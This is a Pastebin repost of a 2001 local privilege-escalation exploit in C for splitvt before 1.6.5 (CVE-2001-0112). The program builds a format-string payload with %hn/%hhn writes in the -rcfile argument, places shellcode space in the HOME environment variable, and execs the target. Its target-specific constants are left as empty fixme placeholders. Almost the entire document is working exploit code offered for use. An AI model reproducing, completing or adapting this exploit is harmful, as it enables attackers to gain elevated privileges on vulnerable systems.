Advertisement
FlyFar

splitvt < 1.6.5 - Local Overflow - CVE-2001-0112

Feb 24th, 2024
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.50 KB | Cybersecurity | 0 0
  1. /*
  2.  * MasterSecuritY <www.mastersecurity.fr>
  3.  *
  4.  * spitvt.c - Local exploit for splitvt < 1.6.5
  5.  * Copyright (C) 2001  fish stiqz <fish@analog.org>
  6.  * Copyright (C) 2001  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
  7.  *
  8.  * Updated versions of this exploit and the corresponding advisory will
  9.  * be made available at:
  10.  *
  11.  * ftp://maxx.via.ecp.fr/spitvt/
  12.  *
  13.  * This program is free software; you can redistribute it and/or modify
  14.  * it under the terms of the GNU General Public License as published by
  15.  * the Free Software Foundation; either version 2 of the License, or (at
  16.  * your option) any later version.
  17.  *
  18.  * This program is distributed in the hope that it will be useful,
  19.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  20.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
  21.  * General Public License for more details.
  22.  *
  23.  * You should have received a copy of the GNU General Public License
  24.  * along with this program; if not, write to the Free Software
  25.  * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
  26.  * USA
  27.  */
  28.  
  29. #include <limits.h>
  30. #include <stdint.h>
  31. #include <stdlib.h>
  32. #include <string.h>
  33. #include <unistd.h>
  34.  
  35. /* array_of_strings_t */
  36. typedef struct array_of_strings_s {
  37.     size_t strings;
  38.     char ** array;
  39. } array_of_strings_t;
  40.  
  41. /* type_t */
  42. typedef enum {
  43.     short_int,
  44.     signed_char,
  45.     null
  46. } type_t;
  47.  
  48. /* n_t */
  49. typedef struct n_s {
  50.     type_t type;
  51.     void * pointer;
  52.     int number;
  53. } n_t;
  54.  
  55. /* <fixme> */
  56. #define COMMAND ""
  57. #define HOME_VALUE ""
  58. #define SPLITVT ""
  59. #define STACK ()
  60. n_t n[] = {
  61.     { null }
  62. };
  63. /* </fixme> */
  64.  
  65. unsigned long int eat;
  66. array_of_strings_t aos_envp = { 0, NULL };
  67. array_of_strings_t aos_argv = { 0, NULL };
  68.  
  69. /* array_of_strings() */
  70. int array_of_strings( array_of_strings_t * p_aos, char * string )
  71. {
  72.     size_t strings;
  73.     char ** array;
  74.  
  75.     if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) {
  76.         return( -1 );
  77.     }
  78.     strings = p_aos->strings + 1;
  79.  
  80.     array = realloc( p_aos->array, strings * sizeof(char *) );
  81.     if ( array == NULL ) {
  82.         return( -1 );
  83.     }
  84.  
  85.     (p_aos->array = array)[ p_aos->strings++ ] = string;
  86.     return( 0 );
  87. }
  88.  
  89. #define HOME_KEY "HOME"
  90. /* home() */
  91. int home()
  92. {
  93.     char * home;
  94.     unsigned int envp_home;
  95.     unsigned int i;
  96.  
  97.     home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) );
  98.     if ( home == NULL ) {
  99.         return( -1 );
  100.     }
  101.  
  102.     strcpy( home, HOME_KEY"="HOME_VALUE );
  103.  
  104.     /* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes
  105.      * alignment is sometimes required (on sparc architectures for
  106.      * example) */
  107.     envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE);
  108.     for ( i = 0; i < envp_home % 4; i++ ) {
  109.         strcat( home, "X" );
  110.     }
  111.  
  112.     return( array_of_strings(&aos_envp, home) );
  113. }
  114.  
  115. /* shell() */
  116. int shell()
  117. {
  118.     size_t size;
  119.     unsigned int i;
  120.     char * shell;
  121.     char * string;
  122.  
  123.     size = 0;
  124.     for ( i = 0; n[i].type != null; i++ ) {
  125.         size += sizeof(void *);
  126.     }
  127.  
  128.     shell = malloc( size + 3 + 1 );
  129.     if ( shell == NULL ) {
  130.         return( -1 );
  131.     }
  132.  
  133.     for ( i = 0; n[i].type != null; i++ ) {
  134.         *( (void **)shell + i ) = n[i].pointer;
  135.     }
  136.  
  137.     /* since file is 16 bytes aligned on the stack, the following 3
  138.      * characters padding ensures shell is 4 bytes aligned */
  139.     for ( i = 0; i < 3; i++ ) {
  140.         shell[ size + i ] = 'X';
  141.     }
  142.  
  143.     shell[ size + i ] = '\0';
  144.  
  145.     for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) {
  146.         if ( array_of_strings(&aos_argv, string) ) {
  147.             return( -1 );
  148.         }
  149.     }
  150.  
  151.     return( 0 );
  152. }
  153.  
  154. #define S "%s"
  155. #define C "%c"
  156. #define HN "%hn"
  157. #define HHN "%hhn"
  158. /* file() */
  159. int file()
  160. {
  161.     size_t size;
  162.     unsigned int i, j;
  163.     char * file;
  164.     int number;
  165.     unsigned int argv_file;
  166.  
  167.     size = (sizeof(S)-1) + (eat * (sizeof(C)-1));
  168.     for ( i = 0; n[i].type != null; i++ ) {
  169.         switch ( n[i].type ) {
  170.             case short_int:
  171.                 /* at most USHRT_MAX 'X's are needed */
  172.                 size += USHRT_MAX + (sizeof(HN)-1);
  173.                 break;
  174.  
  175.             case signed_char:
  176.                 /* at most UCHAR_MAX 'X's are needed */
  177.                 size += UCHAR_MAX + (sizeof(HHN)-1);
  178.                 break;
  179.  
  180.             case null:
  181.             default:
  182.                 return( -1 );
  183.         }
  184.     }
  185.  
  186.     file = malloc( size + (16-1) + 1 );
  187.     if ( file == NULL ) {
  188.         return( -1 );
  189.     }
  190.  
  191.     i = 0;
  192.  
  193.     memcpy( file + i, S, sizeof(S)-1 );
  194.     i += sizeof(S)-1;
  195.  
  196.     for ( j = 0; j < eat; j++ ) {
  197.         memcpy( file + i, C, sizeof(C)-1 );
  198.         i += sizeof(C)-1;
  199.     }
  200.  
  201.     /* initialize number to the number of characters written so far
  202.      * (aos_envp.array[aos_envp.strings-2] corresponds to the HOME
  203.      * environment variable) */
  204.     number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat;
  205.  
  206.     for ( j = 0; n[j].type != null; j++ ) {
  207.         switch ( n[j].type ) {
  208.             case short_int:
  209.                 while ( (short int)number != (short int)n[j].number ) {
  210.                     file[ i++ ] = 'X';
  211.                     number += 1;
  212.                 }
  213.                 memcpy( file + i, HN, sizeof(HN)-1 );
  214.                 i += sizeof(HN)-1;
  215.                 break;
  216.  
  217.             case signed_char:
  218.                 while ( (signed char)number != (signed char)n[j].number ) {
  219.                     file[ i++ ] = 'X';
  220.                     number += 1;
  221.                 }
  222.                 memcpy( file + i, HHN, sizeof(HHN)-1 );
  223.                 i += sizeof(HHN)-1;
  224.                 break;
  225.  
  226.             case null:
  227.             default:
  228.                 return( -1 );
  229.         }
  230.     }
  231.  
  232.     /* in order to maintain a constant distance between the sprintf()
  233.      * arguments and the splitvt shell argument, 16 bytes alignment is
  234.      * sometimes required (for ELF binaries for example) */
  235.     argv_file = STACK - sizeof(SPLITVT);
  236.     for ( j = 0; aos_envp.array[j] != NULL; j++ ) {
  237.         argv_file -= strlen( aos_envp.array[j] ) + 1;
  238.     }
  239.     argv_file -= i + 1;
  240.     for ( j = 0; j < argv_file % 16; j++ ) {
  241.         file[ i++ ] = 'X';
  242.     }
  243.  
  244.     file[ i ] = '\0';
  245.  
  246.     return( array_of_strings(&aos_argv, file) );
  247. }
  248.  
  249. /* main() */
  250. int main( int argc, char * argv[] )
  251. {
  252.     /* eat */
  253.     if ( argc != 2 ) {
  254.         return( -1 );
  255.     }
  256.     eat = strtoul( argv[1], NULL, 0 );
  257.  
  258.     /* aos_envp */
  259.     array_of_strings( &aos_envp, "TERM=vt100" );
  260.     /* home() should always be called right before NULL is added to
  261.      * aos_envp */
  262.     if ( home() ) {
  263.         return( -1 );
  264.     }
  265.     array_of_strings( &aos_envp, NULL );
  266.  
  267.     /* aos_argv */
  268.     array_of_strings( &aos_argv, SPLITVT );
  269.     array_of_strings( &aos_argv, "-upper" );
  270.     array_of_strings( &aos_argv, COMMAND );
  271.     array_of_strings( &aos_argv, "-lower" );
  272.     array_of_strings( &aos_argv, COMMAND );
  273.     /* shell() should always be called right before "-rcfile" is added
  274.      * to aos_argv */
  275.     if ( shell() ) {
  276.         return( -1 );
  277.     }
  278.     array_of_strings( &aos_argv, "-rcfile" );
  279.     /* file() should always be called right after "-rcfile" is added to
  280.      * aos_argv and right before NULL is added to aos_argv */
  281.     if ( file() ) {
  282.         return( -1 );
  283.     }
  284.     array_of_strings( &aos_argv, NULL );
  285.  
  286.     /* execve() */
  287.     execve( aos_argv.array[0], aos_argv.array, aos_envp.array );
  288.     return( -1 );
  289. }
  290.  
  291.  
  292. // milw0rm.com [2001-01-26]
  293.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement